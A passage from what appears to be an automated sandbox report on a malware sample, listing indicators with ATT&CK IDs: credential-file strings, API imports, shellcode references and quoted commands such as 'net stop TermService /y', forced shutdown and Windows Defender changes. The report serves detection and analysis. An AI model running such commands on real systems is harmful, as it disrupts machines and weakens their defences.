\"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Strings related to file managers detected","description":"\"RDP/RecentConnections.txt\" (Indicator: \"connections.txt\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"Found string \"SHEmptyRecycleBinA\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"SHEmptyRecycleBinA\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Able to access AWS credential file","description":"Found string \"aws_access_key_id\" (Indicator: \"aws_access_key_id\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"aws_secret_access_key\" (Indicator: \"aws_secret_access_key\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"aws_session_token\" (Indicator: \"aws_session_token\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"aws_access_key_id\" (Indicator: \"aws_access_key_id\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"aws_secret_access_key\" (Indicator: \"aws_secret_access_key\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"aws_session_token\" (Indicator: \"aws_session_token\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1528","relevance":1,"id":"string-5076","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in file \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\"\n Found registry deletion API: \"RegDeleteTreeA\" in file \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\"\n Found registry deletion API: \"RegDeleteKeyA\" in file \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteTreeA\" in \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Calls APIs used for Remove Service","description":"Observed import api \"DeleteService\" which can \"Deregister service in Service Control Manager database\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-188","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Calls an API used to change the configuration parameters of a service","description":"Observed import api \"ChangeServiceConfig\" which can be \"used to change the configuration parameters of a service\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-193","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to create local account","description":"file/memory contains long string with (Indicator: \"net user \"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n file/memory contains long string with (Indicator: \"net user \"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-528","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$70","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"SetInformationFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"SetInformationFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify volumes (Powershell command string)","description":"Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"Get-Volume\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"Get-Volume\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-388","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$72","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\n Observed string: \"Shutdown /l /f\" (Indicator: \"shutdown \") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\n Observed string: \"Shutdown /s /f /t 00\" (Indicator: \"shutdown \") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\n Observed string: \"Shutdown /r /f /t 00\" (Indicator: \"shutdown \") in Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\n Observed string: \"Shutdown /l /f\" (Indicator: \"shutdown \") in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp\n Observed string: \"Shutdown /s /f /t 00\" (Indicator: \"shutdown \") in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp\n Observed string: \"Shutdown /r /f /t 00\" (Indicator: \"shutdown \") in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop windows services","description":"Found string \"net stop TermService /y\" (Indicator: \"net stop\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"net stop TermService /y\" (Indicator: \"net stop\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-522","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00001716.00000000.127245.A2B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$75","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtRaiseHardError\" (Indicator: \"RaiseHardError\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtRaiseHardError\" (Indicator: \"RaiseHardError\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to shellcode","description":"Found reference to API \"No valid shellcode bytes\" (Indicator: \"shellcode\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"malloc failed for shellcode buffer\" (Indicator: \"shellcode\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"ERROR: Invalid shellcode data\" (Indicator: \"shellcode\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"No valid shellcode bytes\" (Indicator: \"shellcode\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"malloc failed for shellcode buffer\" (Indicator: \"shellcode\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"ERROR: Invalid shellcode data\" (Indicator: \"shellcode\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-468","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"%s\\explorer.exe\" (Indicator: \"explorer.exe\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"SogouExplorer.exe\" (Indicator: \"explorer.exe\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"%s\\explorer.exe /NoUACCheck\" (Indicator: \"explorer.exe\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up multiple procedures within the same disassembly stream (often used to hide usage)","description":"Found 12 calls to GetProcAddress@KERNEL32.dll at 10149-1631-00000001401129E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.007","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"ERROR: dbghelp.dll not found\" (Indicator: \"dbghelp.dll\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"ERROR: dbghelp.dll not found\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"8/26 Antivirus vendors marked sample as malicious (30% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"General","name":"Able to change service configuration","description":"ChangeServiceConfigA@ADVAPI32.dll at 10149-7972-000000014016A4DC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543.003","relevance":5,"id":"stream-73","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"General","name":"Contains ability to create directories","description":"CreateDirectoryW@KERNEL32.dll at 10149-1671-00000001401364C0\n CreateDirectoryW@KERNEL32.dll at 10149-1858-00000001400DEA20\n CreateDirectoryW@KERNEL32.dll at 10149-1865-00000001400E3350\n CreateDirectoryW@KERNEL32.dll at 10149-1896-00000001400D6400\n CreateDirectoryW@KERNEL32.dll at 10149-5672-00000001400DDFFF\n CreateDirectoryW@KERNEL32.dll at 10149-6116-00000001400FB209","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1074.001","relevance":3,"id":"stream-102","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"General","name":"Contains ability to execute program","description":"ShellExecuteExA@SHELL32.dll at 10149-1742-0000000140109120\n ShellExecuteW@SHELL32.dll at 10149-5581-00000001400D7144\n ShellExecuteExA@SHELL32.dll at 10149-10129-000000014016C17E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":7,"id":"stream-106","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"General","name":"Contains ability to modify processes thread functionality","description":"ResumeThread@KERNEL32.dll at 10149-1850-00000001400E6110\n ResumeThread@KERNEL32.dll at 10149-1857-00000001400DFF60\n OpenThread@KERNEL32.dll at 10149-1871-00000001400DFBF0\n ResumeThread@KERNEL32.dll at 10149-5604-00000001400DA492\n ResumeThread@KERNEL32.dll at 10149-5611-00000001400DA91C\n ResumeThread@KERNEL32.dll at 10149-5840-00000001400E7746\n OpenThread@KERNEL32.dll at 10149-7995-000000014016BF68\n OpenThread@KERNEL32.dll at 10149-7996-000000014016C0E8\n OpenThread@KERNEL32.dll at 10149-7998-000000014016C5B8\n OpenThread@KERNEL32.dll at 10149-8188-0000000140179A23","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-129","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on Chacha20 instruction used in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-155","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"$76","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"